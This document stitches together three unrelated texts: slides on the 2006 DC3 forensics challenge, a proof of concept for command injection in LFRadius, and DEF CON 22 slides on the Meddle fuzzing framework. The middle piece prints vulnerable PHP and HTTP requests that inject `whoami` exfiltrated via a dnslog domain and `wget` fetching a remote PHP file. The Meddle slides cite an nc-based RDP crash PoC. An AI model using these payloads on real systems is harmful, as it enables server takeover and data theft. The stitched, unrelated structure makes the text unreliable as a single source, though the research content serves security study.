34”9’40.69 GPS Latitude N GPS Latitude Ref 2222 GPS Version ID DC3 – Metadata Extraction  SA Trent Beckett Googled, Googled, Googled. Primary types of metadata types located  ID3 – de facto format for MP3 files.  EXIF – Exchange Image File Format, a primary image metadata format  TIFF – Tagged Image File Format, image metadata format.  OLAP – Business Intelligence metadata  XML – Human readable metadata DC3 – Metadata Extraction  We looked at many tools, but found a clear winner that was able to identify 12 of 13 files.  EXIF extractor written in perl by Phil Harvey. http://owl.phy.queensu.ca/~phil/exiftool/ Updated as of 7/6/2007! Supports EXIF, GPS, IPTX, XMP, JFIF, GeoTIFF, ICC Profile, Photoshop IRB, FlashPix, AFCP, ID3 + more. DC3 – Metadata Extraction  Remaining file was the .gif file.  Used ImageMagick’s identify program.  Sample questions  Q: test9.mp3 - What are the MS stereo and intensity stereo settings?  A: MS Stereo = ON, Intensity Stereo = OFF  Q: test12.wav - What type of encoding is used?  A: Microsoft PCM (Package Command Manager)  Q: test1.jpg - What is the dateiname?  A: Dateiname (German for file name) is: DSCN1767.JPG DC3 Digital Forensic Challenge  Secret Bonus Examiners have an opportunity to discover the “secret bonus” and be awarded additional bonus points. Clue: “You’ll know it when you see it” Total Weighted Points: 300 DC3 – Secret Bonus  All or nothing, 36% got full points (9 in 25) AccessData, 0x28 Thieves, Hoya Haxa, Code Monkeys, Factor / Phaktor, Digital Lazarus, rm –rf sobriety, nameless, Diverse Digital Detectives got the 300.  Top 5 Scoring  AccessData, 0x28 Thieves, Hoya Haxa got 300 points. DC3 – Secret Bonus  “You will know it when you see it”  We saw it – right away! DC3 Digital Forensic Challenge  It’s the binary, of course!  0111001001111010011011100111011001111001001000000111000101110000001100 110010000001100111011101010111011001100110001000000110011001110010 011100000110010101110001011001110010000001101010011000100110010101 1100010011101000100000011101010110100001111010011110100111001001100101  I like breaking codes, but do not seem to be very good at it – but this one is really easy! DC3 Digital Forensic Challenge  Binary to ASCII  "rznvy qp3 guvf frpeqg jbeq: uhzzre" .  First thought was: Monoalphabetic = simple substitution. Based on the 3 and “:” + looks. DC3 Digital Forensic Challenge  Tools I like are: Cryptomx - http://cryptomx.sourceforge.net/ DC3 Digital Forensic Challenge  CryptoHelper http://sourceforge.net/projects/cryptohelper/ DC3 Digital Forensic Challenge CryptoMX did the convert from binary.  It does a lot more that converting.  I used it to break the playfair Shmoocon encryption challenge – after I blew all kinds of time working it on paper. CryptoHelper for frequency analysis.  Confirmed monoalphabetic  Also has a nice feature – “Run the Alphabet”  ROT 1-26 DC3 Digital Forensic Challenge  rznvy qp3 guvf frpeqg jbeq: uhzzre  dlzhk cb sghr rdbqcs vnqc gtlldq  email dc3 this secrdt word: hummer  fnbjm ed uijt tfdseu xpse ivnnfs  gockn fe vjku ugetfv yqtf jwoogt  hpdlo gf wklv vhfugw zrug kxpphu  iqemp hg xlmw wigvhx asvh lyqqiv  jrfnq ih ymnx xjhwiy btwi mzrrjw  Oh, ROT13. DC3 Digital Forensic Challenge  Keylog Cracking  Examiners must develop and document a methodology used to recover the contents of an encrypted keylog file. The keylog file can be found in the Keylog Cracking folder. You will be expected to develop a method to effectively decrypt and recover the contents of the keylog files. Points will be awarded for your proof of analysis by means of your methodology.  Total Weighted Points: 250 DC3 – Keylog Cracking  No team got full points!  20% got partial points (5 in 25). 4 teams got 200 points of 250 (80%). 1 team got 100 points of 250 (40%). Top 5 Scoring  AccessData, 0x28 Thieves, Professionals got 200 points. DC3 – Keylog Cracking  Hello Google…  Search for common key loggers  Create sample logs using ~10 apps  Actual Spy logs had striking resemblance to the challenge logs…lets give it a try  Substitute the encrypted challenge logs into the keyloger’s default output path (individually)  Fire up the application…voila  Default Settings: encrypt logs w/o password * Content provided by “The Professionals” (3rd Place Team, Florida State University) * DC3 – Keylog Cracking * Content provided by “The Professionals” (3rd Place Team, Florida State University) *  Screen Capture of “keylog1.dat” once decrypted DC3 Digital Forensic Challenge  Image Analysis: Real vs. CG  Examiners must develop and document a methodology used to determine whether the images in the Image Analysis folder are real or computer- generated (CG). You will be expected to identify the nature of each picture. Points will be awarded for each successfully identified picture provided you supply a detailed methodology of how you derived your conclusion. Points will not be awarded for guessing.  Total Weighted Points: 200 DC3 - Image Analysis: Real vs. CG  No team got full points!  24% got partial points (6 in 25).  1 team got 170 points of 250 (68%).  1 team got 150 points of 250 (60%).  1 team got 140 points of 250 (56%).  Remaining teams got 80, 70, 55.  Top 5 Scoring  Professionals got 150, with a really solid methodology.  Hacker Factor (Dr. Krawetz) got 80.  Props to Blue Blood Alpha (Penn State, 22 place) for the high score! DC3 - Image Analysis: Introduction  “Real” - images captured by cameras  May be altered by digital camera software  Scanned in from actual film prints  “CG” - images created or modified by graphics or photo editing software  Adobe Photoshop, Autodesk Maya, etc. Where do we begin…? Assume all images are innocent (Real) until proven guilty (CG). * Content provided by “The Professionals” (3rd Place Team, Florida State University) * DC3 - Image Analysis: A Challenging Task  Visual inspection is subjective  Important part of overall examination process  Human eye instinctively detects real from fake  Statistical Tests have an advantage  Ability to offer unbiased results based on forensically sound and replicable procedures  Use Hybrid Approach  Visual inspection + statistical tests  Increases the confidence level in your ability to correctly discriminate Real from CG images * Content provided by “The Professionals” (3rd Place Team, Florida State University) * DC3 - Image Analysis: Methodology  No one method is 100% accurate!  Each test has different strengths and weaknesses  Visual inspection  Color frequency histograms  Fast Fourier Transforms  Metadata  Surface Plots  Other Individual Tests  Other suggested statistical tests  Cumulative score from each test increases the overall confidence in a final decision * Content provided by “The Professionals” (3rd Place Team, Florida State University) * DC3 - Image Analysis: You be the judge… * Content provided by “The Professionals” (3rd Place Team, Florida State University) * DC3 Digital Forensic Challenge  Password Cracking  Examiners must develop and document a methodology used to discover the payload of password protected files located in the Password Cracking folder. You will be expected to identify the payload and password for each file. You will find passwords varying in difficulty ranging from 40-bit to 256-bit key strength. Points will be awarded for each piece of information recovered.  Total Weighted Points: 250 DC3 – Password Cracking  No team really did well on this challenge Team Hoya Haxa thought it was too much of a serious hardware commitment.  28% got partial points (7 in 25). 7 teams got 20 points of 250 (8%). Top 5 Scoring  0x28 Thieves, Professionals got 20 each.  Surprise to us, AccessData got a 0. DC3 – Password Cracking  Four Challenge Files  DC3ChallengeZip.zip  Encryption 256  Password H&!!0H0w@reY0ukEo#()h&y  23 letters, 72 letter keyspace  DC3ChallengeZip2.zip  Encryption 128  Password &#1073;&#1088;&#1086;&#1089;&#1072;&#1090;&#1100; &#1074;&#1099;&#1079;&#1086;&#1074; &#1084;&#1077;&#1085;&#1103; DC3 – Password Cracking  Four Challenge Files  DC3ChallengeZip3.zip  Encryption 128  Password kEp#()h&y  9 letters, 72 letter keyspace  Passwordchinese.doc  Encryption 40  Password &#21517;&#35789; DC3 Digital Forensic Challenge  Steganography using S-Tools  Examiners must develop and document a methodology used to determine which files in the Steg Stools folder contain steg. You will also be expected to identify the carrier file and payload, in addition to recovering the password (where applicable) for each file you identify as containing Steganography. Points will be awarded for each successfully accomplished task.  Total Weighted Points: 200 DC3 – Steganography using S-Tools  Not a good turnout on this challenge 24% got partial points (6 in 25).  2 teams got 50 points of 200 (25%).  2 teams got 40 points of 200 (20%).  2 teams got 20 points of 200 (10%). Top 5 Scoring  Access data got 40, Professionals got 20. DC3 Digital Forensic Challenge  Audio Steganography  Examiners must develop and document a methodology used to determine which files in the Steg Audio folder contain steg. You will also be expected to identify the carrier file and payload, in addition to recovering the password (where applicable) for each file you identify as containing Steganography. Points will be awarded for each successfully accomplished task.  Total Weighted Points: 250 DC3 – Audio Steganography  Not a good turnout either… 12% got partial points (3 in 25).  1 team got 40 points of 250 (16%).  2 teams got 20 points of 250 (8%). Top 5 Scoring  Access data got 40, 0x28 Thieves got 20. DC3 Challenge Results  Team Hoya Haxa submitted early, wanted to avoid the rush!  15 December 2006  AccessData announced the Grand Champion!  0x28 Thieves (U of South FLA) announced Academic Champion.  Message to team:  Excellent job, estimated 64.556% complete. DC3 Challenge Results  02 February 2007 Top Ten posted. Team Hoya Haxa in 4th! 3rd in Academic (“The Professionals” from FL State). Of the 140 entries, only 21 even submitted. DC3 Challenge Results  03 April 2007  Official scores and results – late due to testing all methodologies. 80 0 0 0 5 44% 1750 Hacker Factor 0 0 0 0 4 58% 2300 Hoya Haxa 150 20 0 20 3 64% 2515 Professionals 0 20 20 0 2 67% 2665 0x28 Thieves 0 0 40 40 1 78% 3080 AccessData Image Analysis (200) Password Crack (250) Audio Steg (250) Steg 200 Rank % Completed Points (3950) Team DC3 Challenge Results 0 300 1000 0 250 250 5 Hacker Factor 0 300 1000 0 250 250 4 Hoya Haxa 200 300 1000 250 125 250 3 Professionals 200 300 1000 250 125 250 2 0x28 Thieves 200 300 1000 500 250 250 1 AccessData Keylog Cracking (250) Media Floppy (300) Media CD (1000) Boot Split DD (500) Boot DD Image (250) Data Carving LVM (250) Rank Teams DC3 Challenge Results 300 200 5 Hacker Factor 300 200 4 Hoya Haxa 0 200 3 Professionals 300 200 2 0x28 Thieves 300 200 1 AccessData Secret Bonus (300) Metadata Extraction (200) Rank Teams DC3 Challenge Results Learned Tips and Tricks  This is an attempt to share all of the weird tips and tricks we tried and tested.  Your mileage may very, feel free to shout out what works for you.  Please, no “heard this works” – First hand knowledge only! Data Recovery  CD / DVD with damaged media, use CD labels to keep foil from coming up.  CD / DVD, we used metallic silver spray paint when we had broken foil with some success.  HD / CD / DVD, try different drives and OS. You would be amazed that it works without issue on another OS. Data Recovery  CD/DVD writers are much better at reading damaged media. We like:  CDs, early Lite-on and Plexstor preferred by CDFreaks and data recovery pros.  DVD, Plextor 12x and Pioneer 12x (ebay).  Cleaning your media  Try it first, don’t do anything unless it fails.  Isopropyl alcohol.  Ivory soap and water. Data Recovery  Lots of recovery software exists, but we found that if none work if you get “Media Not Found”  Lots of software exists: Bad Copy pro, ISOBuster, AD Imager, DVDisaster, dd, dd_rescue, Ontrack, … Team was split, ISOBuster, AccessData FTK & Imager, and BadCopy Pro. Filesystems and mounting  Ext2/3 drivers for win32 http://uranus.it.swin.edu.au/~jn/linux/ext2ifs.htm http://www.fs-driver.org/  Mount DD in win32 http://www.acc.umu.se/~bosse/
pdf
app="LF-" <?php class ping extends spController { function main() { $host = $_GET['host']; $num = (int) $_GET['num']; $host = str_replace("|", "", $host); $host = str_replace(" ", "", $host); $host = str_replace("&", "", $host); $host = str_replace(">", "", $host); $host = str_replace("<", "", $host); if (!$host) { die("ûύIP"); } if (!$num) { if (!filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) { if (lf_getaddrbyhost("www.qq.com") == "www.qq.com") { die("ӵã<br>"); } $host = lf_getaddrbyhost($host); fofa rce1 } unset($_COOKIE['ping']); setcookie("ping", $host, time() + 20, "/"); echo "5pingԣ[" . $_GET['host'] . "]<br>"; echo 'PING ' . $host . ' (' . $host . ') 56(84) bytes of data.<br>'; die; } else { $host = $_COOKIE['ping']; } $result = lf_rootrun('ping -c 1 -W 2 ' . $host . '|grep icmp', 1); if ($result) { echo $result . "<br>"; } else { echo 'reply time out!<br>'; } if ($num == 5) { echo 'ɣ'; unset($_COOKIE['ping']); setcookie("ping", NULL, -1, "/"); } } function start() { $this->host = $_GET['host']; $this->display("ping.html"); } } GET /lfradius/login.php/eth/login.php?c=ping&a=main&host=`whoami`.v4d331.dnslog.cn&num=0 HTTP/1.1 Host: xxx User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chr ome/78.0.3904.108 Safari/537.36 Accept: */* Referer: http://xxx/lfradius/login.php/eth/qos Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=5v4cr5he1eo0lra761tuqb6tho; check_admin_pass=1; lfradius_menu_save_cookie=1; lfradi us_nav_content_active=14; lf_timeout=1625018466; LF_TOKEN_HASH=8119690d12c5663e6afb8d3f4335b897 Connection: close ​ 1bash %20%09(tab)%2b(+) in url{IFS} 2Win shell %20%09(tab)%0b%0c%2b(+) in url GET /lfradius/login.php/eth/login.php?c=ping&a=main&host=`wget%09http://xxx/up.php`.thxhur.dnslog.cn& num=0 HTTP/1.1 Host: xxx User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chr ome/78.0.3904.108 Safari/537.36 Accept: */* Referer: http://xxx/lfradius/login.php/eth/qos Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=5v4cr5he1eo0lra761tuqb6tho; check_admin_pass=1; lfradius_menu_save_cookie=10; lfrad ius_nav_content_active=68; lf_timeout=1625020611; LF_TOKEN_HASH=50591407cbd1e93cd8a51b892c6b9f33 Connection: close function offline() { $clientip = $_GET['ip']; if ($clientip) { exec("ls /var/run/pptp-server/" . $clientip, $allppp); for ($i = 0; $i < sizeof($allppp); $i++) { lf_rootrun("kill `cat /var/run/" . $allppp[$i] . ".pid`"); } lf_rootrun("rm -f /var/run/pptp-server/" . $clientip . "/*"); sleep(1); } lf_success('', spUrl('pptp', 'main'), 1); } rce2 http://xxx/lfradius/login.php/pptp/offline?ip=|ping+ssr.phecl8.dnslog.cn| ​ function offline() { $user = $_GET['user']; if ($user) { exec("echo \"kill {$user}\"|telnet 127.0.0.1 7505;rm -f /var/run/openvpn-server/" . $user); sleep(1); } lf_success('', spUrl('openvpn', 'main'), 1); } ​ ssh root ​ ​
pdf
Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle: Framework for piggy-back fuzzing and tool development Geo↵ McDonald [email protected], unaffiliated presentation August 8, 2014 DEF CON 22 Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion 1. Background About Me Fuzzing File Format Fuzzing Protocol Fuzzing 2. Meddle Framework Introduction Meddle Target Meddle Process Meddle Controller 3. XRDP Fuzzing XRDP Server 4. DeviceIoControl DeviceIoControl Demo 5. Sandbox Malware Sandbox Demo 6. Conclusion Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion About Me About Me Vancouver, Canada Game hacking (Ultima Online MMORPG) Reverse-engineering tool developer Previously Symantec Currently at Microsoft Personal website http://www.split-code.com/ Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Fuzzing Types of Fuzzing File Format Fuzzing PDF, Microsoft Word, or TrueType fonts Protocol Fuzzing RDP, VNC, SSL, or Voip Application Fuzzing COM objects, API calls, or inter-process communication Web Application Fuzzing Joomla, WordPress, or any website Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Fuzzing Fuzzing Tools SPIKE from Immunity [1] Network protocols and web applications Basic Fuzzing Framework (BFF) from CERT [2] File format SAGE from Microsoft [3] Input fuzzing AutoFuzz [4] Network protocols by MITM COMRaider [5] COM interface fuzzing IOCtrlFuzzer from eSage Lab [6] NtDeviceIoControlFile driver input fuzzing Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Fuzzing Fuzzing Algorithms Basic algorithms: Naive protocol fuzzing (eg. IOCtrlFuzzer [6]) Protocol aware fuzzing (eg. SPIKE [1]) Advanced algorithms: Protocol-learning before fuzzing (eg. Autofuzz [4]) Feedback-driven fuzzing (eg. Sage [3]) Code coverage fuzzing (eg. Google’s Flash fuzzing [7]) Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion File Format Fuzzing File Format Fuzzing: TrueType Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Protocol Fuzzing Protocol Fuzzing: RDP by Network MITM Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Protocol Fuzzing Protocol Fuzzing: RDP by Client Implementation Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Protocol Fuzzing Protocol Fuzzing: RDP by File Fuzzing Luigi Auriemma’s CVE-2012-0002 POC nc SERVER 3389 < termdd 1.dat RDP server use after free Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Protocol Fuzzing Application Fuzzing: API Fuzzing Example instruder’s CVE-2012-0181 related POC win32k.sys NtUserLoadKeyboardLayoutEx( hFile, 0x0160,0x01AE,&uKerbordname, hKbd, &uStr, 0x666, 0x101 ) Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Introduction Meddle: About Meddle: Open source, https://github.com/glmcdona/meddle Relatively new project Windows only, sorry :( Command-line based Supports x86, WOW64, and x64 processes Framework written in C# IronPython for the environment Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Introduction Meddle: Goals Goals: Bring simplicity to fuzzing Python for the fuzzing environment Extendibility Reproducibility For Simplicity: Piggy-back on existing application Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Introduction Meddle: Structure Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Introduction Meddle: Structure Equal amount of time on each event type Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Target Target Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Target Target class Target_Winsock_Send(TargetBase): def __init__(self, Engine, ProcessBase): # Set options and hook filters def breakpoint_hit(self, event_name, address, context, th): # Parse arguments and return fuzz blocks for each event Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Target Target init def __init__(self, Engine, ProcessBase): self.Engine = Engine self.ProcessBase = ProcessBase self.hook_exports = True # Hook matching exports self.hook_symbols = False # Don’t hook matching symbols # Libraries to look at self.libraries = ["ws2_32.dll"] self.libraries_regex = re.compile("a^",re.IGNORECASE) # List of function names to add hooks on. self.functions = ["send"] self.functions_regex = re.compile("a^",re.IGNORECASE) Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Target Target breakpoint hit def breakpoint_hit(self, event_name, address, context, th): parameters = [ ... parameter spec ... ] [reg_spec, stack_spec] = self.ProcessBase.types.pascal( parameters ) arguments = self.Engine.ParseArguments(stack_spec, reg_spec, context) if self.ProcessBase.verbose: print arguments.ToString() return [arguments.GetFuzzBlockDescriptions(), "Winsock Send Event"] Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Target Target Parameters parameters = [ {"name": "socket", "size": self.ProcessBase.types.size_ptr(), "type": None, "fuzz": NOFUZZ }, {"name": "buffer", "size": self.ProcessBase.types.size_ptr(), "type": self.ProcessBase.types.parse_BUFFER, "type_args": "size", "fuzz": NOFUZZ }, {"name": "size", "size": self.ProcessBase.types.size_ptr(), "type": None, "fuzz": NOFUZZ }, {"name": "flags", "size": self.ProcessBase.types.size_ptr(), "type": None, "fuzz": NOFUZZ } ] Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Target Target Parameter Structures parameters = [ ... {"name": "buffer", "size": self.ProcessBase.types.size_ptr(), "type": self.ProcessBase.types.parse_BUFFER, "type_args": "size", "fuzz": NOFUZZ }, ... ] def parse_BUFFER(self, parent, address, extra_name, type_args): if type(type_args) is str: # points to argument name size = parent.GetMemberSearchUp(type_args).ToInt() else: # contains exact size size = type_args return [ {"name": extra_name + "BUFFER", "size": size, "type": None, "fuzz": FUZZ } ] Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Target Target Arguments arguments = self.Engine.ParseArguments(...) print arguments.ToString() flags at r9: 00 00 00 00 00 00 00 00 ........ size at r8: 13 00 00 00 00 00 00 00 ........ buffer at rdx: E0 98 68 04 00 00 00 00 ..h..... buffer.BUFFER at 0x46898E0: 03 00 00 13 0E E0 00 00 00 00 00 01 00 08 00 03 ........ ........ 00 00 00 ... socket at rcx: 58 07 00 00 00 00 00 00 X....... returnAddress at 0x25AF918: 7B 26 9A DA FE 07 00 00 {&...... Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Target Target Arguments arguments = self.Engine.ParseArguments(...) print "Sent size = %i" % arguments.size.ToInt() print arguments.buffer.ToString() Sent size = 19 buffer at rdx: 90 ED 29 04 00 00 00 00 ..)..... buffer.BUFFER at 0x429ED90: 03 00 00 13 0E E0 00 00 00 00 00 01 00 08 00 03 ........ ........ 00 00 00 ... Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Target Target breakpoint hit arguments = self.Engine.ParseArguments(...) print "Sent size = %i" % arguments.size.ToInt() print arguments.buffer.BUFFER.ToString() Sent size = 19 buffer.BUFFER at 0x4907480: 03 00 00 13 0E E0 00 00 00 00 00 01 00 08 00 03 ........ ........ 00 00 00 ... Sent size = 428 buffer.BUFFER at 0x4907480: 03 00 01 AC 02 F0 80 7F 65 82 01 A0 04 01 01 04 ........ e....... 01 01 01 01 FF 30 19 02 01 22 02 01 02 02 01 00 .....0.. ."...... 02 01 01 02 01 00 02 01 01 02 02 FF FF 02 01 02 ........ ........ 30 19 02 01 01 02 01 01 02 01 01 02 01 01 02 01 0....... ........ 00 02 01 01 02 02 04 20 02 01 02 30 1C 02 02 FF ....... ...0.... FF 02 02 FC 17 02 02 FF FF 02 01 01 02 01 00 02 ........ ........ 01 01 02 02 FF FF 02 01 02 04 82 01 3F 00 05 00 ........ ....?... 14 7C 00 01 81 36 00 08 00 10 00 01 C0 00 44 75 .|...6.. ......Du 63 61 81 28 01 C0 D8 00 04 00 08 00 80 07 38 04 ca.(.... ......8. 01 CA 03 AA 09 04 00 00 B1 1D 00 00 47 00 4C 00 ........ ....G.L. 4D 00 43 00 44 00 4F 00 4E 00 41 00 2D 00 50 00 M.C.D.O. N.A.-.P. Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Process Process Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Process Process class ProcessRdp(ProcessBase): def __init__(self, controller, crashdump_folder, breakpoint_handler, pid, unique_identifier, verbose): # Specific options self.path_to_exe = b"C:\\Windows\\System32\\mstsc.exe" self.command_line = b"mstsc.exe /v:192.168.110.134" # Initialize self.initialize(...) def on_debugger_attached(self, Engine): # Attach the targets to the process ... Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Process Process def on_debugger_attached(self, Engine): # Set the types self.Engine = Engine self.types = meddle_types(Engine) # Add the targets #Engine.AddTarget(Target_RDP_RC4) Engine.AddTarget(Target_Winsock_Send) # Handle process loaded Engine.HandleProcessLoaded() # Resume the process. Was created suspended. if self.start_th >= 0: windll.kernel32.ResumeThread(self.start_th); Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Controller Controller Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Controller Controller Measurement Instance # Perform an initial measurement mBreakpoint = BreakpointMeasurement() mProcess = ProcessRdp(self, "C:\\Crash\\", mBreakpoint, -1, 0, True ) self.CEngine.AttachProcess(mProcess) sleep(5) measurements = mBreakpoint.measurement mProcess.stop() Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Controller Controller Measurement Instance class BreakpointMeasurement: def __init__(self): self.measurement = [] def breakpoint_hit(self, parent, target, event_name, address, context, th): [fuzz_blocks, fuzz_name] = target.breakpoint_hit(event_name, address, context, th) if fuzz_blocks != None: # Record the possible attack self.measurement += [[target.__class__.__name__, fuzz_name, len(fuzz_blocks)]] Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Controller Controller Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Controller Controller Attack Instance breakpointSeed = self.generator.randint(1,10000000) newBreakpoint = BreakpointAttack(5, attackEventNumber, attackEventName, breakpointSeed ) newProcess = ProcessNotepad(self, "C:\\Crash\\", newBreakpoint, -1, uniqueId, False ) self.CEngine.AttachProcess(newProcess) uniqueId+=1 Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion XRDP Server XRDP Demo 1 Diagram Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion XRDP Server XRDP Demo 1 Demo 1: https://github.com/glmcdona/meddle/tree/master/examples /example mstsc Fuzz ws2 32.dll::send() calls from rdp client during connection Success: Crash of XRDP server Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion XRDP Server RC4 Encryption Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion XRDP Server RC4 Encryption class Target_PrintSymbols(TargetBase): def __init__(self, Engine, ProcessBase): ... self.hook_symbols = True # Hook pdb symbols self.libraries = ["mstscax.dll"] ... self.functions_regex = re.compile(".*",re.IGNORECASE) ... def breakpoint_hit(self, event_name, address, context, th): print event_name return [[],[]] Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion XRDP Server RC4 Encryption ... mstscax.dll::rc4 mstscax.dll::?SendBuffer@CMCS@@UEAAJPEAVITSNetBuffer@@KKKKK@Z mstscax.dll::?SendBuffer@CTSX224Filter@@UEAAJPEAVITSNetBuffer@@KKKKK@Z ... mstscax.dll::?RunQueueEvent@CTSThread@@IEAAJPEAVCTSMsg@@@Z mstscax.dll::?OnTDFlushSendQueue@CTD@@QEAAJPEAVITSAsyncResult@@_K@Z Sent at 0x4D00EF4: 03 00 00 60 02 F0 80 64 00 01 03 EB 70 52 08 00 ...‘...d ....pR.. 00 00 F4 31 42 EF BD FA 21 3D 36 D1 4C 71 CB 91 ...1B... !=6.Lq.. CA 03 DB B2 A9 9D B5 86 52 A1 F6 4D 5E 6E C7 8D ........ R..M^n.. 67 B4 D2 53 BE C5 B5 55 98 1C 45 31 13 0A DD CF g..S...U ..E1.... 06 37 6B 69 C6 60 EF A3 C1 EC F6 AB E5 70 96 73 .7ki.‘.. .....p.s 32 9B 4E ED 7D 40 0E A4 C7 20 F2 A3 69 15 0F 9A 2.N.}@.. . ..i... Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion XRDP Server RC4 Encryption class Target_RDP_RC4(TargetBase): def __init__(self, Engine, ProcessBase): ... self.hook_symbols = True # Hook pdb symbols self.libraries = ["mstscax.dll"] ... self.functions = ["rc4"] ... def breakpoint_hit(self, event_name, address, context, th): parameters = [ ... ] [reg_spec, stack_spec] = 